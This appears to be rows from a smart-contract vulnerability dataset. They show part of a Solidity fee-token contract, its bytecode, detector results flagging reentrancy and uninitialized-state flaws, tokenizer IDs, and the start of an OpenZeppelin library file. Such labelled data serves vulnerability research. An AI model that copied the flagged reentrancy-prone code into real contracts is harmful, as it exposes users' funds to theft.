uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612513565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061212c565b6103e4565b60405161016291906124f8565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612635565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120dd565b610412565b6040516101ca91906124f8565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906126aa565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612168565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c6004803603810190610277919061204f565b6106be565b6040516102899190612635565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061242a565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612513565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061212c565b6108c8565b60405161033391906124f8565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a1565b610eba565b60405161039e9190612635565b60405180910390f35b60606040518060400160405280600a81526020017f444547454e20454c4f4e00000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f41565b8484610f49565b6001905092915050565b6000670de0b6b3a7640000905090565b600061041f848484611114565b6104e08461042b610f41565b6104db85604051806060016040528060288152602001612b8460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f09092919063ffffffff16565b610f49565b600190509392505050565b6104f3610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906125b5565b60405180910390fd5b670de0b6b3a7640000601181905550565b60006009905090565b6105a2610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906125b5565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f41565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611454565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b6565b9050919050565b610717610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906125b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f444547454c4f4e00000000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f41565b8484611114565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f41565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d81611624565b50565b610968610f41565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906125b5565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612615565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f49565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190612078565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190612078565b6040518363ffffffff1660e01b8152600401610c09929190612445565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190612078565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d1196959493929190612497565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6391906121ba565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550662386f26fc100006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6492919061246e565b602060405180830381600087803b158015610e7e57600080fd5b505af1158015610e92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb69190612191565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906125f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102090612555565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111079190612635565b60405180910390a3505050565b60008111611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e906125d5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111ae57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e0576001600a81905550600c600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561129c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130a5750601060179054906101000a900460ff165b1561131f5760115481111561131e57600080fd5b5b600061132a306106be565b9050601060159054906101000a900460ff161580156113975750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113af5750601060169054906101000a900460ff165b156113de576113bd81611624565b6000479050670429d069189e00008111156113dc576113db47611454565b5b505b505b6113eb83838361191e565b505050565b6000838311158290611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f9190612513565b60405180910390fd5b506000838561144791906127fb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361149d9190612770565b9081150290604051600060405180830381858888f193505050501580156114c8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115129190612770565b9081150290604051600060405180830381858888f1935050505015801561153d573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115879190612770565b9081150290604051600060405180830381858888f193505050501580156115b2573d6000803e3d6000fd5b5050565b60006008548211156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f490612535565b60405180910390fd5b600061160761192e565b905061161c818461195990919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611682577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b05781602001602082028036833780820191505090505b50905030816000815181106116ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179057600080fd5b505afa1580156117a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c89190612078565b81600181518110611802577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f49565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cd959493929190612650565b600060405180830381600087803b1580156118e757600080fd5b505af11580156118fb573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6119298383836119a3565b505050565b600080600061193b611b6e565b91509150611952818361195990919063ffffffff16565b9250505090565b600061199b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bcd565b905092915050565b6000806000806000806119b587611c30565b955095509550955095509550611a1386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af481611d40565b611afe8483611dfd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5b9190612635565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050611ba2670de0b6b3a764000060085461195990919063ffffffff16565b821015611bc057600854670de0b6b3a7640000935093505050611bc9565b81819350935050505b9091565b60008083118290611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b9190612513565b60405180910390fd5b5060008385611c239190612770565b9050809150509392505050565b6000806000806000806000806000611c4d8a600a54600b54611e37565b9250925092506000611c5d61192e565b90506000806000611c708e878787611ecd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f0565b905092915050565b6000808284611cf1919061271a565b905083811015611d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2d90612575565b60405180910390fd5b8091505092915050565b6000611d4a61192e565b90506000611d618284611f5690919063ffffffff16565b9050611db581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1282600854611c9890919063ffffffff16565b600881905550611e2d81600954611ce290919063ffffffff16565b6009819055505050565b600080600080611e636064611e55888a611f5690919063ffffffff16565b61195990919063ffffffff16565b90506000611e8d6064611e7f888b611f5690919063ffffffff16565b61195990919063ffffffff16565b90506000611eb682611ea8858c611c9890919063ffffffff16565b611c9890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ee68589611f5690919063ffffffff16565b90506000611efd8689611f5690919063ffffffff16565b90506000611f148789611f5690919063ffffffff16565b90506000611f3d82611f2f8587611c9890919063ffffffff16565b611c9890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f695760009050611fcb565b60008284611f7791906127a1565b9050828482611f869190612770565b14611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd90612595565b60405180910390fd5b809150505b92915050565b600081359050611fe081612b3e565b92915050565b600081519050611ff581612b3e565b92915050565b60008135905061200a81612b55565b92915050565b60008151905061201f81612b55565b92915050565b60008135905061203481612b6c565b92915050565b60008151905061204981612b6c565b92915050565b60006020828403121561206157600080fd5b600061206f84828501611fd1565b91505092915050565b60006020828403121561208a57600080fd5b600061209884828501611fe6565b91505092915050565b600080604083850312156120b457600080fd5b60006120c285828601611fd1565b92505060206120d385828601611fd1565b9150509250929050565b6000806000606084860312156120f257600080fd5b600061210086828701611fd1565b935050602061211186828701611fd1565b925050604061212286828701612025565b9150509250925092565b6000806040838503121561213f57600080fd5b600061214d85828601611fd1565b925050602061215e85828601612025565b9150509250929050565b60006020828403121561217a57600080fd5b600061218884828501611ffb565b91505092915050565b6000602082840312156121a357600080fd5b60006121b184828501612010565b91505092915050565b6000806000606084860312156121cf57600080fd5b60006121dd8682870161203a565b93505060206121ee8682870161203a565b92505060406121ff8682870161203a565b9150509250925092565b60006122158383612221565b60208301905092915050565b61222a8161282f565b82525050565b6122398161282f565b82525050565b600061224a826126d5565b61225481856126f8565b935061225f836126c5565b8060005b838110156122905781516122778882612209565b9750612282836126eb565b925050600181019050612263565b5085935050505092915050565b6122a681612841565b82525050565b6122b581612884565b82525050565b60006122c6826126e0565b6122d08185612709565b93506122e0818560208601612896565b6122e981612927565b840191505092915050565b6000612301602a83612709565b915061230c82612938565b604082019050919050565b6000612324602283612709565b915061232f82612987565b604082019050919050565b6000612347601b83612709565b9150612352826129d6565b602082019050919050565b600061236a602183612709565b9150612375826129ff565b604082019050919050565b600061238d602083612709565b915061239882612a4e565b602082019050919050565b60006123b0602983612709565b91506123bb82612a77565b604082019050919050565b60006123d3602483612709565b91506123de82612ac6565b604082019050919050565b60006123f6601783612709565b915061240182612b15565b602082019050919050565b6124158161286d565b82525050565b61242481612877565b82525050565b600060208201905061243f6000830184612230565b92915050565b600060408201905061245a6000830185612230565b6124676020830184612230565b9392505050565b60006040820190506124836000830185612230565b612490602083018461240c565b9392505050565b600060c0820190506124ac6000830189612230565b6124b9602083018861240c565b6124c660408301876122ac565b6124d360608301866122ac565b6124e06080830185612230565b6124ed60a083018461240c565b979650505050505050565b600060208201905061250d600083018461229d565b92915050565b6000602082019050818103600083015261252d81846122bb565b905092915050565b6000602082019050818103600083015261254e816122f4565b9050919050565b6000602082019050818103600083015261256e81612317565b9050919050565b6000602082019050818103600083015261258e8161233a565b9050919050565b600060208201905081810360008301526125ae8161235d565b9050919050565b600060208201905081810360008301526125ce81612380565b9050919050565b600060208201905081810360008301526125ee816123a3565b9050919050565b6000602082019050818103600083015261260e816123c6565b9050919050565b6000602082019050818103600083015261262e816123e9565b9050919050565b600060208201905061264a600083018461240c565b92915050565b600060a082019050612665600083018861240c565b61267260208301876122ac565b8181036040830152612684818661223f565b90506126936060830185612230565b6126a0608083018461240c565b9695505050505050565b60006020820190506126bf600083018461241b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127258261286d565b91506127308361286d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612765576127646128c9565b5b828201905092915050565b600061277b8261286d565b91506127868361286d565b925082612796576127956128f8565b5b828204905092915050565b60006127ac8261286d565b91506127b78361286d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f0576127ef6128c9565b5b828202905092915050565b60006128068261286d565b91506128118361286d565b925082821015612824576128236128c9565b5b828203905092915050565b600061283a8261284d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061288f8261286d565b9050919050565b60005b838110156128b4578082015181840152602081019050612899565b838111156128c3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b478161282f565b8114612b5257600080fd5b50565b612b5e81612841565b8114612b6957600080fd5b50565b612b758161286d565b8114612b8057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac03cf65ed566a54153148e3f37d0a470cd0f973a0f2713776fbe780a1fe2b4164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 22022, 23499, 2683, 11387, 16086, 2575, 2509, 19797, 22022, 2487, 2094, 2581, 21057, 16147, 2692, 26976, 2581, 2581, 2683, 2094, 2692, 2683, 23632, 2278, 2546, 16576, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,393
0x96b3b5b701efdacff754d23db675a24431207f58
// File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on 